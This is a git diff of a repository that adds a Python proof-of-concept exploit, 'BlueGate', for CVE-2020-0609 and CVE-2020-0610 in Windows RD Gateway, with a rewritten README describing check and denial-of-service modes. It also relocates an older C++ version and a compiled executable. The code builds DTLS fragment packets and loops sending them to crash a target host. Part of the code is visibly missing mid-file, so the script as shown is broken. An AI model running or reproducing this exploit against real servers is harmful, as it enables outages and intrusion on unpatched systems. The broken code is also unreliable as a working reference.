diff --git a/BlueGate.py b/BlueGate.py new file mode 100755 index 0000000..ac34ca6 --- /dev/null +++ b/BlueGate.py @@ -0,0 +1,148 @@ +#!/bin/env python3 +from cryptography.hazmat.bindings.openssl.binding import Binding +from OpenSSL import SSL +import argparse +import os +import select +import signal +import socket +import struct +import sys + +TIMEOUT = 3 + +def init_dtls(): + binding = Binding() + binding.init_static_locks() + SSL.Context._methods[0]= getattr(binding.lib, "DTLSv1_client_method") + +def log_info(s): + print(f"\033[96m[*] {s}\033[0m") + +def log_success(s): + print(f"\033[92m[+] {s}\033[0m") + +def log_error(s): + print(f"\033[91m[-] {s}\033[0m") + +class Packet: + def __init__(self, fragment_id = 0, no_of_fragments = 1, fragment_length = 0, fragment = b""): + self.fragment_id = fragment_id + self.no_of_fragments = no_of_fragments + self.fragment_length = fragment_length + self.fragment = fragment + self.pkt_ID = 5 + self.pkt_Len = 0 + + def update_pkt_Len(self): + self.pkt_Len = len(self.fragment) + 6 + + def __bytes__(self): + self.update_pkt_Len() + + buf = b"" + buf += struct.pack(" -1: + connection = Connection(args.host, args.port) + for n in range(4): + connection.send_dos_packet(i+n) + i += 1 \ No newline at end of file diff --git a/README.md b/README.md index 6f96092..e0f49d7 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,59 @@ -# BlueGate -Proof of Concept (Denial of Service) for CVE-2020-0609 and CVE-2020-0610. + +# BlueGate + +Proof of Concept (Denial of Service) for CVE-2020-0609 and CVE-2020-0610. + + These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP. + + Please use for research and educational purpose only. -## Usage -You must have the OpenSSL libraries and headers installed. The default location in the project settings is `C:\Program Files\OpenSSL-Win64`. If you don't have Visual Studio, you should make some minor changes in datatypes and socket initialization. + + +## Usage +Make sure you have [pyOpenSSL](https://www.pyopenssl.org/en/stable/) installed for python3. + + usage: BlueGate.py [-h] -M {check,dos} [-P PORT] host + + positional arguments: + host IP address of host + + optional arguments: + -h, --help show this help message and exit + -M {check,dos}, --mode {check,dos} + Mode + -P PORT, --port PORT UDP port of RDG, default: 3391 + + + +## Vulnerability -## Vulnerability -The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session. +The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session. + + If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well. -## What is RD Gateway? -RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. Inside `Release` you will find an already compiled executable. Note that as soon as the executable is running, it will connect to the server and start sending malicious packets, **so be careful**. + + +## What is RD Gateway? - .\BlueGate.exe +RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. -## Why BlueGate? +## Why BlueGate? + + That was just the working title, and I couldn't come up with a better one at this stage. -## Todo: -- Vulnerability scanner/checker -- Python implementation \ No newline at end of file + + +## Todo: + +- ~~Vulnerability scanner/checker~~ **DONE** + +- ~~Python implementation~~ **DONE** + diff --git a/BlueGate.sln b/old/BlueGate.sln similarity index 100% rename from BlueGate.sln rename to old/BlueGate.sln diff --git a/BlueGate/BlueGate.cpp b/old/BlueGate/BlueGate.cpp similarity index 100% rename from BlueGate/BlueGate.cpp rename to old/BlueGate/BlueGate.cpp diff --git a/BlueGate/BlueGate.h b/old/BlueGate/BlueGate.h similarity index 100% rename from BlueGate/BlueGate.h rename to old/BlueGate/BlueGate.h diff --git a/BlueGate/BlueGate.vcxproj b/old/BlueGate/BlueGate.vcxproj similarity index 100% rename from BlueGate/BlueGate.vcxproj rename to old/BlueGate/BlueGate.vcxproj diff --git a/BlueGate/BlueGate.vcxproj.filters b/old/BlueGate/BlueGate.vcxproj.filters similarity index 100% rename from BlueGate/BlueGate.vcxproj.filters rename to old/BlueGate/BlueGate.vcxproj.filters diff --git a/BlueGate/BlueGate.vcxproj.user b/old/BlueGate/BlueGate.vcxproj.user similarity index 100% rename from BlueGate/BlueGate.vcxproj.user rename to old/BlueGate/BlueGate.vcxproj.user diff --git a/old/README.md b/old/README.md new file mode 100644 index 0000000..6f96092 --- /dev/null +++ b/old/README.md @@ -0,0 +1,27 @@ +# BlueGate +Proof of Concept (Denial of Service) for CVE-2020-0609 and CVE-2020-0610. + +These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP. + +Please use for research and educational purpose only. + +## Usage +You must have the OpenSSL libraries and headers installed. The default location in the project settings is `C:\Program Files\OpenSSL-Win64`. If you don't have Visual Studio, you should make some minor changes in datatypes and socket initialization. + +## Vulnerability +The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session. + +If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well. + +## What is RD Gateway? +RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. Inside `Release` you will find an already compiled executable. Note that as soon as the executable is running, it will connect to the server and start sending malicious packets, **so be careful**. + + .\BlueGate.exe + +## Why BlueGate? + +That was just the working title, and I couldn't come up with a better one at this stage. + +## Todo: +- Vulnerability scanner/checker +- Python implementation \ No newline at end of file diff --git a/Release/BlueGate.exe b/old/Release/BlueGate.exe similarity index 100% rename from Release/BlueGate.exe rename to old/Release/BlueGate.exe